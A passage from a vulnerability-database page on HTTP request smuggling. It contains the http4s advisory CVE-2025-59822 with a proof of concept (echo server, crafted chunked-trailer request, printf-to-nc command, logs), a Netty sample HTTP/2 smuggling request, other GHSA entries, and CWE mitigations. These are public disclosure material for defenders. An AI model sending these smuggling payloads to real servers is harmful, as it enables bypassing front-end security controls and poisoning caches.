.withHost(ipv4"0.0.0.0")
.withPort(port"8080")
.withHttpApp(httpApp)
.build
.use { server =>
IO.println(s"Server started at http://0.0.0.0:8080") >> IO.never
}
.as(ExitCode.Success)
}
}
build.sbt
ThisBuild / scalaVersion := "2.13.15"
val http4sVersion = "0.23.30"
lazy val root = (project in file("."))
.settings(
name := "http4s-echo-server",
libraryDependencies ++= Seq(
"org.http4s" %% "http4s-ember-server" % http4sVersion,
"org.http4s" %% "http4s-dsl" % http4sVersion,
"org.http4s" %% "http4s-circe" % http4sVersion,
"ch.qos.logback" % "logback-classic" % "1.4.11",
"org.typelevel" %% "log4cats-slf4j" % "2.6.0",
)
)
Send the following request:
POST / HTTP/1.1
Host: localhost
Transfer-Encoding: chunked
2
aa
0
Test: smuggling
a
GET /admin HTTP/1.1
Host: localhost
You can do that with the following command:
printf 'POST / HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\n\r\n2\r\naa\r\n0\r\nTest: smuggling\r\na\r\nGET /admin HTTP/1.1\r\nHost: localhost\r\n\r\n' | nc localhost 8080
You will see that the request is interpreted as two separate requests
16:18:02.015 [io-compute-19] INFO org.http4s.server.middleware.RequestLogger -- HTTP/1.1 POST / Headers(Host: localhost, Transfer-Encoding: chunked) body="aa"
16:18:02.027 [io-compute-19] INFO org.http4s.server.middleware.RequestLogger -- HTTP/1.1 GET /admin Headers(Host: localhost)
Severity
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.http4s:http4s-ember-core_2.12"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.23.31"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.http4s:http4s-ember-core_2.13"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.23.31"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.http4s:http4s-ember-core_3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.23.31"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.http4s:http4s-ember-core_2.13"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0-M1"
},
{
"fixed": "1.0.0-M45"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.http4s:http4s-ember-core_3"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0-M1"
},
{
"fixed": "1.0.0-M45"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-59822"
],
"database_specific": {
"cwe_ids": [
"CWE-444"
],
"github_reviewed": true,
"github_reviewed_at": "2025-09-23T17:37:23Z",
"nvd_published_at": "2025-09-23T19:15:42Z",
"severity": "MODERATE"
},
"details": "### Summary\nhttp4s is vulnerable to HTTP Request Smuggling due to improper handling of HTTP trailer section.\nThis vulnerability could enable attackers to:\n- Bypass front-end servers security controls\n- Launch targeted attacks against active users\n- Poison web caches\n\nPre-requisites for the exploitation: the web appication has to be deployed behind a reverse-proxy that forwards trailer headers.\n\n### Details\nThe HTTP chunked message parser, after parsing the last body chunk, calls `parseTrailers` (`ember-core/shared/src/main/scala/org/http4s/ember/core/ChunkedEncoding.scala#L122-142`).\nThis method parses the trailer section using `Parser.parse`, where the issue originates.\n\n`parse` has a bug that allows to terminate the parsing before finding the double CRLF condition: when it finds an header line that **does not include the colon character**, it continues parsing with `state=false` looking for the header name till reaching the condition `else if (current == lf \u0026\u0026 (idx \u003e 0 \u0026\u0026 message(idx - 1) == cr))` that sets `complete=true` even if no `\\r\\n\\r\\n` is found.\n```scala\nif (current == colon) {\n state = true // set state to check for header value\n name = new String(message, start, idx - start) // extract name string\n start = idx + 1 // advance past colon for next start\n\n // TODO: This if clause may not be necessary since the header value parser trims\n if (message.size \u003e idx + 1 \u0026\u0026 message(idx + 1) == space) {\n start += 1 // if colon is followed by space advance again\n idx += 1 // double advance index here to skip the space\n }\n // double CRLF condition - Termination of headers\n} else if (current == lf \u0026\u0026 (idx \u003e 0 \u0026\u0026 message(idx - 1) == cr)) { // \u003c----- not a double CRLF check\n complete = true // completed terminate loop\n}\n```\nThe remainder left in the buffer is then parsed as another request leading to HTTP Request Smuggling.\n\n### PoC\n\nStart a simple webserver that echoes the received requests:\n```scala\nimport cats.effect._\nimport cats.implicits._\nimport org.http4s._\nimport org.http4s.dsl.io._\nimport org.http4s.ember.server.EmberServerBuilder\nimport org.http4s.server.Router\nimport org.http4s.server.middleware.RequestLogger\nimport org.typelevel.log4cats.LoggerFactory\nimport org.typelevel.log4cats.slf4j.Slf4jFactory\nimport com.comcast.ip4s._\n\nobject ExploitServer extends IOApp {\n\n implicit val loggerFactory: LoggerFactory[IO] = Slf4jFactory.create[IO]\n\n val echoService: HttpRoutes[IO] = HttpRoutes.of[IO] {\n case req @ _ =\u003e\n for {\n bodyStr \u003c- req.bodyText.compile.string\n method = req.method.name\n uri = req.uri.toString()\n version = req.httpVersion.toString\n headers = req.headers.headers.map { header =\u003e\n s\"${header.name.toString.toLowerCase}: ${header.value}\"\n }.mkString(\"\\n\")\n \n responseText = s\"\"\"$method $uri $version\n$headers\n\n$bodyStr\n\n\"\"\"\n result \u003c- Ok(responseText)\n } yield result\n }\n\n val httpApp = RequestLogger.httpApp(logHeaders = true, logBody = true)(\n Router(\"/\" -\u003e echoService).orNotFound\n )\n\n override def run(args: List[String]): IO[ExitCode] = {\n EmberServerBuilder\n .default[IO]\n .withHost(ipv4\"0.0.0.0\")\n .withPort(port\"8080\")\n .withHttpApp(httpApp)\n .build\n .use { server =\u003e\n IO.println(s\"Server started at http://0.0.0.0:8080\") \u003e\u003e IO.never\n }\n .as(ExitCode.Success)\n }\n}\n```\n\n`build.sbt`\n```\nThisBuild / scalaVersion := \"2.13.15\"\n\nval http4sVersion = \"0.23.30\"\n\nlazy val root = (project in file(\".\"))\n .settings(\n name := \"http4s-echo-server\",\n libraryDependencies ++= Seq(\n \"org.http4s\" %% \"http4s-ember-server\" % http4sVersion,\n \"org.http4s\" %% \"http4s-dsl\" % http4sVersion,\n \"org.http4s\" %% \"http4s-circe\" % http4sVersion,\n \"ch.qos.logback\" % \"logback-classic\" % \"1.4.11\",\n \"org.typelevel\" %% \"log4cats-slf4j\" % \"2.6.0\",\n )\n )\n```\n\nSend the following request:\n```http\nPOST / HTTP/1.1\nHost: localhost\nTransfer-Encoding: chunked\n\n2\naa\n0\nTest: smuggling\na\nGET /admin HTTP/1.1\nHost: localhost\n\n```\n\nYou can do that with the following command:\n`printf \u0027POST / HTTP/1.1\\r\\nHost: localhost\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n2\\r\\naa\\r\\n0\\r\\nTest: smuggling\\r\\na\\r\\nGET /admin HTTP/1.1\\r\\nHost: localhost\\r\\n\\r\\n\u0027 | nc localhost 8080`\n\nYou will see that the request is interpreted as two separate requests\n```\n16:18:02.015 [io-compute-19] INFO org.http4s.server.middleware.RequestLogger -- HTTP/1.1 POST / Headers(Host: localhost, Transfer-Encoding: chunked) body=\"aa\"\n16:18:02.027 [io-compute-19] INFO org.http4s.server.middleware.RequestLogger -- HTTP/1.1 GET /admin Headers(Host: localhost)\n```",
"id": "GHSA-wcwh-7gfw-5wrr",
"modified": "2025-10-13T15:20:21Z",
"published": "2025-09-23T17:37:23Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/http4s/http4s/security/advisories/GHSA-wcwh-7gfw-5wrr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59822"
},
{
"type": "WEB",
"url": "https://github.com/http4s/http4s/commit/dd518f7c967e5165813b8d4a48a82b8fab852d41"
},
{
"type": "PACKAGE",
"url": "https://github.com/http4s/http4s"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Http4s vulnerable to HTTP Request Smuggling due to improper handling of HTTP trailer section"
}
GHSA-WFXR-5R9H-MPVW
Vulnerability from github – Published: 2024-10-11 21:31 – Updated: 2025-07-30 15:35
VLAI
Details
An HTTP Request Smuggling vulnerability in Looker allowed an unauthorized attacker to capture HTTP responses destined for legitimate users.
There are two Looker versions that are hosted by Looker:
- Looker (Google Cloud core) was found to be vulnerable. This issue has already been mitigated and our investigation has found no signs of exploitation.
- Looker (original) was not vulnerable to this issue.
Customer-hosted Looker instances were found to be vulnerable and must be upgraded.
This vulnerability has been patched in all supported versions of customer-hosted Looker, which are available on the Looker download page https://download.looker.com/ .
For Looker customer-hosted instances, please update to the latest supported version of Looker as soon as possible. The versions below have all been updated to protect from this vulnerability. You can download these versions at the Looker download page:
- 23.12 -> 23.12.123+
- 23.18 -> 23.18.117+
- 24.0 -> 24.0.92+
- 24.6 -> 24.6.77+
- 24.8 -> 24.8.66+
- 24.10 -> 24.10.78+
- 24.12 -> 24.12.56+
- 24.14 -> 24.14.37+
Severity
{
"affected": [],
"aliases": [
"CVE-2024-8912"
],
"database_specific": {
"cwe_ids": [
"CWE-444"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-11T19:15:11Z",
"severity": "HIGH"
},
"details": "An HTTP Request Smuggling vulnerability in Looker allowed an unauthorized attacker to capture HTTP responses destined for legitimate users.\n\nThere are two Looker versions that are hosted by Looker:\n\n * Looker (Google Cloud core) was found to be vulnerable. This issue has already been mitigated and our investigation has found no signs of exploitation.\n * Looker (original) was not vulnerable to this issue.\n\n\nCustomer-hosted Looker instances were found to be vulnerable and must be upgraded.\n\nThis vulnerability has been patched in all supported versions of customer-hosted Looker, which are available on the Looker download page https://download.looker.com/ .\n\nFor Looker customer-hosted instances, please update to the latest supported version of Looker as soon as possible. The versions below have all been updated to protect from this vulnerability. You can download these versions at the Looker download page:\n\n * 23.12 -\u003e 23.12.123+\n * 23.18 -\u003e 23.18.117+\n * 24.0 -\u003e 24.0.92+\n * 24.6 -\u003e 24.6.77+\n * 24.8 -\u003e 24.8.66+\n * 24.10 -\u003e 24.10.78+\n * 24.12 -\u003e 24.12.56+\n * 24.14 -\u003e 24.14.37+",
"id": "GHSA-wfxr-5r9h-mpvw",
"modified": "2025-07-30T15:35:50Z",
"published": "2024-10-11T21:31:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-8912"
},
{
"type": "WEB",
"url": "https://cloud.google.com/looker/docs/best-practices/security-bulletin-09-16-24"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-WGC8-C98W-8FVH
Vulnerability from github – Published: 2022-05-24 17:38 – Updated: 2022-05-24 17:38
VLAI
Details
ATS negative cache option is vulnerable to a cache poisoning attack. If you have this option enabled, please upgrade or disable this feature. Apache Traffic Server versions 7.0.0 to 7.1.11 and 8.0.0 to 8.1.0 are affected.
{
"affected": [],
"aliases": [
"CVE-2020-17509"
],
"database_specific": {
"cwe_ids": [
"CWE-444"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-01-11T10:15:00Z",
"severity": "HIGH"
},
"details": "ATS negative cache option is vulnerable to a cache poisoning attack. If you have this option enabled, please upgrade or disable this feature. Apache Traffic Server versions 7.0.0 to 7.1.11 and 8.0.0 to 8.1.0 are affected.",
"id": "GHSA-wgc8-c98w-8fvh",
"modified": "2022-05-24T17:38:29Z",
"published": "2022-05-24T17:38:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-17509"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/raa9f0589c26c4d146646425e51e2a33e1457492df9f7ea2019daa6d3%40%3Cannounce.trafficserver.apache.org%3E"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-WHHQ-69JF-G65H
Vulnerability from github – Published: 2022-05-14 02:01 – Updated: 2022-05-14 02:01
VLAI
Details
There are multiple HTTP smuggling and cache poisoning issues when clients making malicious requests interact with Apache Traffic Server (ATS). This affects versions 6.0.0 to 6.2.2 and 7.0.0 to 7.1.3. To resolve this issue users running 6.x should upgrade to 6.2.3 or later versions and 7.x users should upgrade to 7.1.4 or later versions.
Severity
6.5 (Medium)
{
"affected": [],
"aliases": [
"CVE-2018-8004"
],
"database_specific": {
"cwe_ids": [
"CWE-444"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-08-29T13:29:00Z",
"severity": "MODERATE"
},
"details": "There are multiple HTTP smuggling and cache poisoning issues when clients making malicious requests interact with Apache Traffic Server (ATS). This affects versions 6.0.0 to 6.2.2 and 7.0.0 to 7.1.3. To resolve this issue users running 6.x should upgrade to 6.2.3 or later versions and 7.x users should upgrade to 7.1.4 or later versions.",
"id": "GHSA-whhq-69jf-g65h",
"modified": "2022-05-14T02:01:19Z",
"published": "2022-05-14T02:01:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-8004"
},
{
"type": "WEB",
"url": "https://github.com/apache/trafficserver/pull/3192"
},
{
"type": "WEB",
"url": "https://github.com/apache/trafficserver/pull/3201"
},
{
"type": "WEB",
"url": "https://github.com/apache/trafficserver/pull/3231"
},
{
"type": "WEB",
"url": "https://github.com/apache/trafficserver/pull/3251"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/7df882eb09029a4460768a61f88a30c9c30c9dc88e9bcc6e19ba24d5@%3Cusers.trafficserver.apache.org%3E"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2018/dsa-4282"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/105192"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WM2M-XRRP-J74C
Vulnerability from github – Published: 2021-06-18 18:31 – Updated: 2024-10-07 15:08
VLAI
Summary
HTTP Request Smuggling in netius
Details
netius prior to 1.17.58 is vulnerable to HTTP Request Smuggling. HTTP pipelining issues and request smuggling attacks might be possible due to incorrect Transfer encoding header parsing which could allow for CL:TE or TE:TE attacks.
Severity
6.1 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "netius"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.17.58"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-7655"
],
"database_specific": {
"cwe_ids": [
"CWE-444"
],
"github_reviewed": true,
"github_reviewed_at": "2021-05-14T21:29:08Z",
"nvd_published_at": "2020-05-21T15:15:00Z",
"severity": "MODERATE"
},
"details": "netius prior to 1.17.58 is vulnerable to HTTP Request Smuggling. HTTP pipelining issues and request smuggling attacks might be possible due to incorrect Transfer encoding header parsing which could allow for CL:TE or TE:TE attacks.",
"id": "GHSA-wm2m-xrrp-j74c",
"modified": "2024-10-07T15:08:10Z",
"published": "2021-06-18T18:31:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7655"
},
{
"type": "WEB",
"url": "https://github.com/hivesolutions/netius/commit/9830881ef68328f8ea9c7901db1d11690677e7d1"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-wm2m-xrrp-j74c"
},
{
"type": "PACKAGE",
"url": "https://github.com/hivesolutions/netius"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/netius/PYSEC-2020-242.yaml"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-PYTHON-NETIUS-569141"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "HTTP Request Smuggling in netius"
}
GHSA-WM47-8V5P-WJPJ
Vulnerability from github – Published: 2021-03-09 18:49 – Updated: 2021-08-31 21:19
VLAI
Summary
Possible request smuggling in HTTP/2 due missing validation
Details
Impact
If a Content-Length header is present in the original HTTP/2 request, the field is not validated by Http2MultiplexHandler as it is propagated up. This is fine as long as the request is not proxied through as HTTP/1.1.
If the request comes in as an HTTP/2 stream, gets converted into the HTTP/1.1 domain objects (HttpRequest, HttpContent, etc.) via Http2StreamFrameToHttpObjectCodecand then sent up to the child channel's pipeline and proxied through a remote peer as HTTP/1.1 this may result in request smuggling.
In a proxy case, users may assume the content-length is validated somehow, which is not the case. If the request is forwarded to a backend channel that is a HTTP/1.1 connection, the Content-Length now has meaning and needs to be checked.
An attacker can smuggle requests inside the body as it gets downgraded from HTTP/2 to HTTP/1.1. A sample attack request looks like:
POST / HTTP/2
:authority:: externaldomain.com
Content-Length: 4
asdfGET /evilRedirect HTTP/1.1
Host: internaldomain.com
Users are only affected if all of this is true:
* HTTP2MultiplexCodec or Http2FrameCodec is used
* Http2StreamFrameToHttpObjectCodec is used to convert to HTTP/1.1 objects
* These HTTP/1.1 objects are forwarded to another remote peer.
Patches
This has been patched in 4.1.60.Final
Workarounds
The user can do the validation by themselves by implementing a custom ChannelInboundHandler that is put in the ChannelPipeline behind Http2StreamFrameToHttpObjectCodec.
References
Related change to workaround the problem: https://github.com/Netflix/zuul/pull/980
Severity
5.9 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http2"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.1.60.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c 4.0.0"
},
"package": {
"ecosystem": "Maven",
"name": "org.jboss.netty:netty"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c 4.0.0"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-21295"
],
"database_specific": {
"cwe_ids": [
"CWE-444"
],
"github_reviewed": true,
"github_reviewed_at": "2021-03-09T18:47:09Z",
"nvd_published_at": "2021-03-09T19:15:00Z",
"severity": "MODERATE"
},
"details": "### Impact\nIf a Content-Length header is present in the original HTTP/2 request, the field is not validated by `Http2MultiplexHandler` as it is propagated up. This is fine as long as the request is not proxied through as HTTP/1.1.\nIf the request comes in as an HTTP/2 stream, gets converted into the HTTP/1.1 domain objects (`HttpRequest`, `HttpContent`, etc.) via `Http2StreamFrameToHttpObjectCodec `and then sent up to the child channel\u0027s pipeline and proxied through a remote peer as HTTP/1.1 this may result in request smuggling. \n\nIn a proxy case, users may assume the content-length is validated somehow, which is not the case. If the request is forwarded to a backend channel that is a HTTP/1.1 connection, the Content-Length now has meaning and needs to be checked.\n\nAn attacker can smuggle requests inside the body as it gets downgraded from HTTP/2 to HTTP/1.1. A sample attack request looks like:\n\n```\nPOST / HTTP/2\n:authority:: externaldomain.com\nContent-Length: 4\n\nasdfGET /evilRedirect HTTP/1.1\nHost: internaldomain.com\n```\n\nUsers are only affected if all of this is `true`:\n * `HTTP2MultiplexCodec` or `Http2FrameCodec` is used\n * `Http2StreamFrameToHttpObjectCodec` is used to convert to HTTP/1.1 objects\n * These HTTP/1.1 objects are forwarded to another remote peer.\n \n\n### Patches\nThis has been patched in 4.1.60.Final\n\n### Workarounds\nThe user can do the validation by themselves by implementing a custom `ChannelInboundHandler` that is put in the `ChannelPipeline` behind `Http2StreamFrameToHttpObjectCodec`.\n\n### References\nRelated change to workaround the problem: https://github.com/Netflix/zuul/pull/980 ",
"id": "GHSA-wm47-8v5p-wjpj",
"modified": "2021-08-31T21:19:12Z",
"published": "2021-03-09T18:49:49Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-wm47-8v5p-wjpj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-21295"
},
{
"type": "WEB",
"url": "https://github.com/Netflix/zuul/pull/980"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/commit/89c241e3b1795ff257af4ad6eadc616cb2fb3dc4"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rc73b8dd01b1be276d06bdf07883ecd93fe1a01f139a99ef30ba4308c@%3Ccommits.servicecomb.apache.org%3E"
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],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Possible request smuggling in HTTP/2 due missing validation"
}
Mitigation
Implementation
Use a web server that employs a strict HTTP parsing procedure, such as Apache [REF-433].
Mitigation
Implementation
Use only SSL communication.
Mitigation
Implementation
Terminate the client session after each request.
Mitigation
System Configuration
Turn all pages to non-cacheable.
CAPEC-273: HTTP Response Smuggling
An adversary manipulates and injects malicious content in the form of secret unauthorized HTTP responses, into a single HTTP response from a vulnerable or compromised back-end HTTP agent (e.g., server).
See CanPrecede relationships for possible consequences.
CAPEC-33: HTTP Request Smuggling
An adversary abuses the flexibility and discrepancies in the parsing and interpretation of HTTP Request messages using various HTTP headers, request-line and body parameters as well as message sizes (denoted by the end of message signaled by a given HTTP header) by different intermediary HTTP agents (e.g., load balancer, reverse proxy, web caching proxies, application firewalls, etc.) to secretly send unauthorized and malicious HTTP requests to a back-end HTTP agent (e.g., web server).
See CanPrecede relationships for possible consequences.